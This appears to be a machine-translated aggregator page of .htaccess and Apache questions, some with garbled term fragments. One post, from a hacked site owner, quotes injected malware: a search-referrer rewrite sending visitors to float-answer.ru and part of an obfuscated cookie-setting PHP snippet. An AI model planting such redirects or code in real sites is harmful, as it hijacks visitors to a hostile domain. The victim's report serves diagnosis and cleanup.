Articles of .htaccess

.HTACCESS 2个域的重写规则

我有两个域,其内容在同一个文件目录中: http://www.alpha.com/ DIR: /var/www/alpha.com/ 和 http://www.beta.com/ DIR: /var/www/beta.com/ 我想要做以下事情: 当用户去 http://www.alpha.com/beta/ 他应该看到的内容 http://www.beta.com 并通过去例如 http://www.alpha.com/beta/index.php?a=3&b=2 他应该看到的内容 http://www.beta.com/index.php?a=3&b=2 等等。 我如何使用htaccesspipe理? 我应该在哪个目录中放置? 我想过: RewriteEngine On RewriteRule ^\.htaccess$ – [F] RewriteCond %{REQUEST_URI} ^/beta/(var1)$ RewriteRule ^.*$ http://beta.com/%1 但它不起作用。 而我在正则expression式方面不太好。 谢谢你的每一个答案!

6001redirect到允许的域外

我注意到,在我的客户网站访问降低了很多在过去2周,所以我检查了所有脚本Java,PHP,.htaccess的所有posibilities,ping从世界各地,使用100工具ping的可用性等,但所有的接缝罚款,除这个网站http://www.watchmouse.com说: Redirected outside allowed domains 6001 – München, D2 Redirected outside allowed domains 6001 – München, D2 Redirected outside allowed domains 6001 – New York, NY Redirected outside allowed domains 6001 – Toronto, C2 Redirected outside allowed domains 6001 – Amsterdam1, N1 Redirected outside allowed domains 6001 – Manchester, U2 Redirected outside allowed domains 6001 […]

基于服务器的Htaccess身份validation,而不是客户端信息

在目前的项目中,我们有独立的开发和生产。 两者上的代码都在单个SVN存储库中。 问题在于从外部进入开发环境。 假设我们有两个独立的prod和dev服务器: 1.2.3.4 -> production 5.6.7.8 -> development 这个想法是在两台服务器上使用与Auth相同的.htaccess,但其行为必须是: 在开发服务器上,用户在访问该站点之前必须先进行身份validation 在生产服务器上,用户具有完全访问权限,无需身份validation。 它应该是这样的(伪代码): IF $SERVER_IP == 5.6.7.8 THEN require_auth ELSE do_not_require_auth 我们试图用尽可能less的额外模块来实现这一目标,但遗憾的是,我们无法根据服务器信息find关于如何在.htaccess中执行条件的任何信息。 这甚至有可能吗?

apache重写> nginx重写

我finnaly有nginx运行 我的网站是用codeigniter制作的,我从我的.htaccess这个旧的重写 #map all request urls to a specific controller method RewriteRule ^(.*)$ index.php?/welcome/domain/$1 [L] 我的问题是如何将其转换为工作的nginx重写规则?

apache,httaccess:写一条规则,使xxxxx.txt的意思是“返回xxxxx.php的源代码”

我不确定这是可能的,但是我想在.htaccess文件中写一个重写规则(如果需要,还有其他的指令),这样对于那个文件夹中的每一个url,任何以.txt结尾的URL都会被重写以.php结尾的相同名字,但是另外,在这种情况下,php文件不被执行,但是其内容(源代码)被服务。 也就是说,“我的文件夹”是我想要应用的文件夹: http://www.mydomain.com/myfolder/somescript.php =>像往常一样运行somescript.php http://www.mydomain.com/myfolder/somescript.txt =>将返回somescript.php的源代码没有运行它

密码和ip限制在htaccess中

我正在学习如何使用htaccess。 首先,我想尝试如何为以下目录设置用户名和密码~/public_html/55/m : ~/public_html/55/m$ ls -la total 24 drwxr-xr-x 2 tim Domain^Users 4096 2011-12-16 21:39 . drwxr-xr-x 3 tim Domain^Users 4096 2011-12-16 21:42 .. -rwxr-xr-x 1 tim Domain^Users 271 2011-12-16 21:26 .htaccess -rwxr-xr-x 1 tim Domain^Users 8 2011-12-16 21:39 .htpasswd -rwxr-xr-x 1 tim Domain^Users 884 2011-12-16 20:02 index.html 我手动创build了两个文本文件: .htaccess和.htpasswd 。 他们的内容是 ~/public_html/55/m$ cat .htaccess […]

阻止IP地址最好的办法做到这一点(在安全性方面)?

我有一个用户试图入侵我的服务器,muieblackcatpopup在我的服务器上,不止一次。 我只是想得到一些build议,以防止这种最好的方法,即我应该通过htaccess阻止用户,或者我应该阻止他们通过iptables或者有更好的方法吗? 请注意,我运行的服务器是Centos 5.7 64位

.htaccess在远程服务器上工作,但不能在本地主机上工作。 在本地主机上获取404错误

我的问题: 当我访问本地主机的网站不起作用。 它显示从网站的一些文本,但似乎服务器无法find任何其他文件。 这里是萤火虫的错误摘录: "NetworkError: 404 Not Found – localhost/css/popup.css" "NetworkError: 404 Not Found – localhost/css/style.css" "NetworkError: 404 Not Found – localhost/css/player.css" "NetworkError: 404 Not Found – localhost/css/ui-lightness/jquery-ui-1.8.11.custom.css" "NetworkError: 404 Not Found – localhost/js/jquery.js" 看来我的服务器正在寻找错误的地方的文件。 例如,localhost / css / popup.css实际上位于localhost / app / webroot / css / popup.css中。 我有我的网站安装在远程服务器上具有相同的确切configuration,它工作得很好。 我只是有这个问题试图运行我的笔记本电脑在本地的网站。 我编辑我的VirtualHosts文件DocumentRoot和/home/user/public_html/site.com/public/app/webroot/,这减less了一些错误,但我觉得这是错误的,有点黑客,因为我没有使用这些设置在我的生产服务器上工作。 我想要做的最后一个笔记是,该网站使用dynamicurl。 我不知道这与它有什么关系。 例如,在生产服务器上的URL是:site.com/#hello/12321。 我在做什么: […]

.htaccess文件被入侵

我有一个托pipeDreamhost的网站,我的.htaccess文件的内容一遍又一遍地被攻破。 有人把这样的东西放在我的代码前面: RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://float-answer.ru/access/index.php 该文件的chmod是744.从文件的最后修改时间,我可以估计什么时候发生了攻击。 没有任何东西似乎在网站上受到攻击。 我已经更改了所有相关的密码。 编辑:这似乎更糟! 这个代码已经注入了几个php文件: global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j […]

(可能)简单的mod_rewrite – 重新映射我的网站的url

这个问题使我疯狂。 我已经试过阅读大量有关如何使用mod_rewrite的教程,但是我无法理解它。 这些问题一定会被问到,所以看起来像一个愚蠢的道歉。 我的问题是这个。 我需要将几个请求URL重新映射到我的WordPress的安装。 WordPress的也使用mod_rewrite …链接工作正常吗? 我需要做的重写是: example.com – > example.com/site example.com/blog – > exaple.com/site/categories/blogposts example.com/site/blog – > exaple.com/sites/categories/blogposts 理想情况下,我想重新映射url,而不是执行redirect,但如果没有其他解决scheme,可以忍受它。